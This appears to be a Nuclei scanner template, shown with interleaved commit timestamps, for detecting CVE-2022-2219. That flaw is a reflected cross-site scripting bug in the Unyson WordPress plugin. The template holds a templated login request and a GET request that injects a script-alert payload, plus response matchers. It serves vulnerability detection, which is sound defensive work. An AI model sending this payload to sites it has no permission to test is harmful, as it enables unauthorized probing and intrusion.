2023-04-21 08:56:01 +00:00
id : CVE-2022-2219
info :
name : Unyson < 2.7.27 - Cross Site Scripting
author : r3Y3r53
2023-07-11 19:49:27 +00:00
severity : high
2023-04-21 08:56:01 +00:00
description : |
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 2.7.27
2023-04-21 08:56:01 +00:00
reference :
- https://wpscan.com/vulnerability/1240797c-7f45-4c36-83f0-501c544ce76a
- https://nvd.nist.gov/vuln/detail/CVE-2022-2219
2023-07-11 19:49:27 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cve-id : CVE-2022-2219
cwe-id : CWE-79
2023-08-31 11:46:18 +00:00
epss-score : 0.00179
2023-11-27 09:19:41 +00:00
epss-percentile : 0.55082
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:brizy:unyson:*:*:*:*:*:wordpress:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : brizy
product : unyson
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : authenticated,cve,cve2022,wordpress,wp,xss,unyson,wp-plugin,wpscan,brizy
2023-04-21 08:56:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script> HTTP/1.1
Host : {{Hostname}}
2023-07-11 19:49:27 +00:00
redirects : true
2023-04-21 08:56:01 +00:00
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
2023-06-19 21:10:30 +00:00
- 'contains(header_2, "text/html")'
2023-04-21 08:56:01 +00:00
- 'contains(body_2, "script%3Ealert%28document.domain%29%3C%2Fscript%3")'
- 'contains(body_2, "Unyson")'
condition : and
2023-12-06 05:59:56 +00:00
# digest: 4a0a00473045022100f3e10ebe1b307dea6fcc092d18c40ef82ef60d4dce63de44e226d2fd2bda67190220656a818acaf26496f3d5cc17ef203e330d024686cf12d88685a0c7d44711a1a6:922c64590222798bb761d5b6d8e72950